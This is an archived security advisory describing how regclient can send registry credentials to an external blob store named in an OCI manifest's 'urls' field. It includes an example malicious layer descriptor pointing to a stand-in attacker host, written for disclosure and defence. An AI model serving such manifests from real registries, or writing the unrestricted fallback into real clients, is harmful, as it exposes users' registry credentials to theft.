regclient may leak authentication credentials to external blob stores
Historical advisory saved 24 Oct 2026 13:19:41 UTC. The publisher may have updated it since then. Latest advisory.
osv · GHSA-qvqc-4c52-x6qp
PublishedCredentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
- Source published
- 26 Jun 2026 22:43:31 UTC
- Source modified
- 10 Sep 2026 03:50:50 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Publisher rating · MODERATE